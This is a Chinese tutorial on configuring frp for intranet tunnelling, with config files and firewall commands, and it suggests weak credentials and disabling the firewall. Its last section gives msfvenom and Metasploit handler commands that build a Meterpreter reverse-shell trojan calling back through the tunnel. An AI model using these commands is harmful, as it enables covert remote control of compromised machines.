目录
Frp（简易上线）
1、简述：
2、工具：
3、使用：
1、准备：
2、服务端（公网）：
2、客户端（内网）：
3、测试方法：
4、生成后门木马监听：
Frp（简易上线）
1、简述：
1）Frp (Fast Reverse Proxy) 是一个免费开源的用于内网穿透的反向代理应用，它支持 TCP、UDP 协议， 也为 HTTP、HTTPS 协议提供了额外的支持。
2）frp：服务端（装在公网ip的服务器上）+客户端（装在内网主机上）
3）中转站功能：实现公网 ←→ FRP(服务器) ←→ 内网 的连接（可以将内网服务以安全、便捷的方式通过具有公网IP节点的中转暴露到公网。）
4）原理：
第一步：服务端：运行，并监听端口，等待客户端连接
第二步：客户端：连接服务端的端口，告诉服务端要监听的端口和转发类型
第三步：服务端：创建新的进程，监听客户端指定的端口
第四步：外网用户：连接到客户端指定的端口，服务端通过和客户端的连接将数据转发到客户端
第五步：客户端：进程将数据转发到本地服务
2、工具：
URL：/fatedier/frp
选择合适的版本
Releases · fatedier/frp ()/fatedier/frp/releases
3、使用：
1、准备：
1）准备一个域名（注册一个，直接使用ip也可）
2）准备一个服务器（阿里云、腾讯云等都可以免费领一个月）
3）VM中搭建一个虚拟机（内网环境）
4）测试连通性，使用Xshell，或者准备一台非同一局域网下主机并使用ssh命令
5）下载frp工具
命令行输入：wget /fatedier/frp/releases/download/v0.46.1/frp_0.46.1_linux_arm64.tar.gz（下载太慢了，我直接下载到电脑上，然后使用xshell配套的xftp传上去）
先解压后再上传的话
1：上传到客户端上面的（即内网主机）
2：上传到服务端上面的（即公网服务器）
s结尾代表server（服务端）
c结尾代表client（客户端）
——————
4）文件解压
如果直接使用的命令下载的，就需要解压
tar -zxvf frp_0.46.1_linux_amd64.tar.gz方法一：然后把服务端的文件cp出来（或删掉客户端文件）
sudo mkdir 创建文件夹sudo cp 原文件的位置 将要复制到的位置方法二：直接删除客户端文件
rm frpcrm frpc.inirm frpc_full.ini解压之后文件夹改个名，方便操作
——————
5）文件添加权限（客户端、服务端）
cd /usr/local/frpsudo chmod 777 frpc（777为所有权限，也可以换为+x可执行权限，熟悉Linux的就不用多说了）2、服务端（公网）：
1）修改配置文件（frps.ini）
编辑文件内容vim ./frps.ini
配置文件内容[common]bind_port = 7000 # 服务端与客户端通信端口dashboard_port = 7500 # 后台管理端口dashboard_user = admin # 后台登录用户名dashboard_pwd = adminvhost_http_port = 7002 # http穿透端口vhost_https_port = 7003 # https穿透端口max_pool_count = 50token = 123456 # 身份验证令牌，frpc要与frps一致tcp_mux = truelog_file = /usr/local/frp/frps.log # 日志相关配置log_level = infolog_max_days = 3authentication_timeout = 0 # 服务器与客户端时间相差15min会连接失败，0表示不验证subdomain_host = …… # 填写自己注册的域名privilege_mode = true——————
2）访问的端口开发
（以腾讯云为例）
方法一：
直接在服务器控制台上添加规则
方法二：
Linux使用命令行添加
# 添加监听端口sudo firewall-cmd --permanent --add-port=7000/tcp# 添加管理后台端口sudo firewall-cmd --permanent --add-port=7500/tcpsudo firewall-cmd --reload方法三：
使用ufw、iptables工具
方法四：
直接关闭防火墙
——————
3）启动服务端：
./frps -c ./frps.ini启动成功
——————
4）访问后台管理界面
服务器ip（或者域名）:port（7500）
并使用自己设置的用户名，密码登陆
————
扩展：
关闭窗口会停止
所以，需要后台运行
nohup ./frps -c frps.ini &2、客户端（内网）：
1）解压、保留客户端配置文件
——————
2）修改配置文件
编辑配置文件vim ./frpc.ini
# 客户端配置[common]server_addr = ……# 公网服务器ipserver_port = 7000# 公网服务端通信端口，与frps.ini的bind_port一致token = 123456 # 身份验证令牌，与服务端的frps.ini中token一致）tcp_mux = truelog_file = /usr/local/frp/frpc.log# 日志相关log_level = infolog_max_days = 3authentication_timeout = 0 # 服务器与客户端时间相差15min会连接失败，0表示不验证# 配置ssh服务[ssh]# 添加ssh节点 type = tcplocal_ip = 192.168.xxx.xxx# 或者127.0.0.1local_port = 22remote_port = 7001# 指明由公网服务器的7001端口代理（ssh连接端口，远程服务端口）# 配置http服务，可用于其他开发[web01]# 添加web节点type = httplocal_ip = 192.168.xxx.xxx# 或者127.0.0.1local_port = 8080# 本地8080端口（自定义的tomcat服务）可以通公网服务器7002端口访问subdomain = web01# 自定义子域名——————
3）防火墙端口开放
开放方法和服务端类似
——————
4）客户端启动
./frpc -c frpc.ini3、测试方法：
方法一：
直接使用Xshell工具，对公网服务器进行连接（公网服务器ip）
端口设置为客户端指定的服务器代理端口（remote_port = 7001）
————
方法二：
使用不在同一局域网下的电脑
ssh admin@***.*.*.* -p 端口# -p 指定服务器端口号，不指定端口则默认22，但此处修改为我们设置的ssh服务端口7001# admin 为登录的用户名# ***.*.*.* 为公网服务器ip/域名————
注：
如果报错Connection closed by……
1、授予ssh权限
2、开启ssh服务
4、生成后门木马监听：
msfvenom -p windows/meterpreter/reverse_tcp lhost=公网服务器ip lport=服务端代理客户端的端口（即remote_port ） -f exe -o frp.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
（注：这个监听端口lport，与本地转发端口一致）
exploit
